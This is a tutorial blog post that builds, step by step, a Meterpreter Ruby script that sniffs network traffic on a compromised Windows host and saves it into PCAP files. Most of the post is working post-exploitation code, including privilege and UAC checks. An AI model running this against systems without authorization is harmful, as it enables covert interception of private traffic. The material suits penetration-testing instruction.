Now that we know the API calls and what variables to expect we can write a script for performing the automation. We will create the script in "scripts/meterpreter/" in the root of the latest SVN tree of 3.3, and call the script "packetrecorder.rb" (so as to give it a name that best describes its function). Lets start by breaking down the tasks we need the script to perform from what we have learned in previous blog posts about this module. The tasks we wish to perform are:
- Check the privilege level of the user we are running the commands under
- Is it System?
- Is it Not System?
- Is it Windows Vista or Windows 7?
- Check if UAC is Enabled
- Load Module and start Capture for interface given
- Save data to file in the time interval given
- Stop Capture and Exit
Know we now the tasks, lets review the information we will need to execute the sniffer:
- Interface index number
- Time Interval for retrieving the packets captured
Lets start by putting a description of what the script does as comment at the beginning and create a variable to hold the Meterpreter client object:
#Meterpreter script for monitoring and capturing packets and
#saving them in to a PCAP file.
#Provided by Carlos Perez at carlos_perez[at]darkoperator.com
session = client
Next we will gather information needed for creating a place to store the PCAP file and give us the ability to know from what IP and time the data was captured. In addition, to protect from over writing the data in the case of multiple shells, an instance of the script are achieved on a same host:
#Get Hostname
host,port = session.tunnel_peer.split(':')
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.config_directory, 'logs', 'packetrecorder', host + filenameinfo )
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
logfile = logs + ::File::Separator + host + filenameinfo + ".cap"
Create a variable with a default time interval in case the user does not provide it:
#Interval for collecting Packets in seconds
packtime = 30
Get the user under which we are running under since this information will be important if the script is ran on Windows Vista or Windows 7 target:
#Get user
user = session.sys.config.getuid
Det the arguments we will receive from the user for the running of the script:
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."],
"-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."],
"-i" => [ true, "Interface ID number where all packet capture will be done."],
)
Next, create a function for starting the capture, this function will receive the Meterpreter client session variable and the interface index. It will return true or false if it successfully started the packet capture. If it fails to start the packet capture it should give us as much information as possible of why not:
#Function for Starting Capture
def startsniff(session,intid)
begin
#Load Sniffer module
session.core.use("sniffer")
print_status("Starting Packet capture on interface #{intid}")
#starting packet capture with a buffer size of 200,000 packets
session.sniffer.capture_start(intid, 200000)
print_status("Packet capture started")
rescue ::Exception => e
print_status("Error Starting Packet Capture: #{e.class} #{e}")
end
end
Next, create a function for starting the recording of the packets, this function will receive the Meterpreter client session variable and the time interval in which to retrieve the packets captured and when interrumpted with a Crtl-c it will stop the capture and close the file, the file saving code was taken directly from the command dispatcher code ad modified :
def packetrecord(session, packtime, logfile,intid)
begin
rec = 1
print_status("Packets being saved in to #{logfile}")
#Inserting Packets every number of seconds specified
print("[*] Recording .")
while rec == 1
path_cap = logfile
path_raw = logfile + '.raw'
fd = ::File.new(path_raw, 'wb+')
#Flushing Buffers
res = session.sniffer.capture_dump(intid)
bytes_all = res[:bytes] || 0
bytes_got = 0
bytes_pct = 0
while (bytes_all > 0)
res = session.sniffer.capture_dump_read(intid,1024*512)
bytes_got += res[:bytes]
pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i
if(pct > bytes_pct)
bytes_pct = pct
end
break if res[:bytes] == 0
fd.write(res[:data])
end
fd.close
#Converting raw file to PCAP
fd = nil
if(::File.exist?(path_cap))
fd = ::File.new(path_cap, 'ab+')
else
fd = ::File.new(path_cap, 'wb+')
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
end
pkts = {}
od = ::File.new(path_raw, 'rb')
# TODO: reorder packets based on the ID (only an issue if the buffer wraps)
while(true)
buf = od.read(20)
break if not buf
idh,idl,thi,tlo,len = buf.unpack('N5')
break if not len
if(len > 10000)
print_error("Corrupted packet data (length:#{len})")
break
end
pkt_id = (idh << 32) +idl
pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)
pkt = od.read(len)
fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)
end
od.close
fd.close
::File.unlink(path_raw)
sleep(2)
print(".")
sleep(packtime.to_i)
end
rescue::Exception => e
print("\n")
print_status("#{e.class} #{e}")
print_status("Stopping Packet sniffer...")
session.sniffer.capture_stop(intid)
end
end
Since in Windows Vista and Windows 7 targets where if we are not running as System we must check if UAC is enabled since this will cause the capture to fail we create a function to check if UAC is enabled:
#Function for Checking for UAC
def checkuac(session)
uac = false
begin
winversion = session.sys.config.sysinfo
if winversion['OS']=~ /Windows Vista/ or winversion['OS']=~ /Windows 7/
print_status("Checking if UAC is enaled ...") key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
root_key, base_key = session.sys.registry.splitkey(key)
value = "EnableLUA"
open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
v = open_key.query_value(value)
if v.data == 1
uac = true
else
uac = false
end
open_key.close_key(key)
end
rescue ::Exception => e
print_status("Error Checking UAC: #{e.class} #{e}") end
return uac
end
Next, create a function to be displayed when the user uses the -h switch to get the options of the script:
def helpmsg
print(
"Packet Recorder Meterpreter Script\n" +
"This script will start the Meterpreter Sniffer and save all packets\n" +
"in a PCAP file for later anlysis. To stop capture hit Ctrl-C\n" +
"Usage:" +
@@exec_opts.usage
)
end
Parse the options to saved the values into variables for use by our functions:
# Parsing of Options
helpcall = 0
intid = 0
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-t"
packtime = val
when "-i"
intid = val.to_i
when "-h"
helpmsg
helpcall = 1
end
}
Next, apply the logic of checking if the script is running as system and then checking if UAC is enabled for when the script is running against a Windows Vista or Windows 7 box:
if helpcall == 0
if (user != "NT AUTHORITY\\SYSTEM") && intid != 0
if not checkuac(session)
startsniff(session,intid)
packetrecord(session,packtime,logfile,intid)
else
print_line("[-] The Meterpreter process is not running as System and UAC is not enable, Insufficient Privileges to run")
end
elsif intid != 0
startsniff(session,intid)
packetrecord(session,packtime,logfile,intid)
else
helpmsg
end
end
The full script was committed to the Metasploit 3.3 Dev SVN. As you can tell I'm a big fan of using functions and doing error checking on them, the main reason is for code re-use and for simpler troubleshooting of the code when an error presents it self.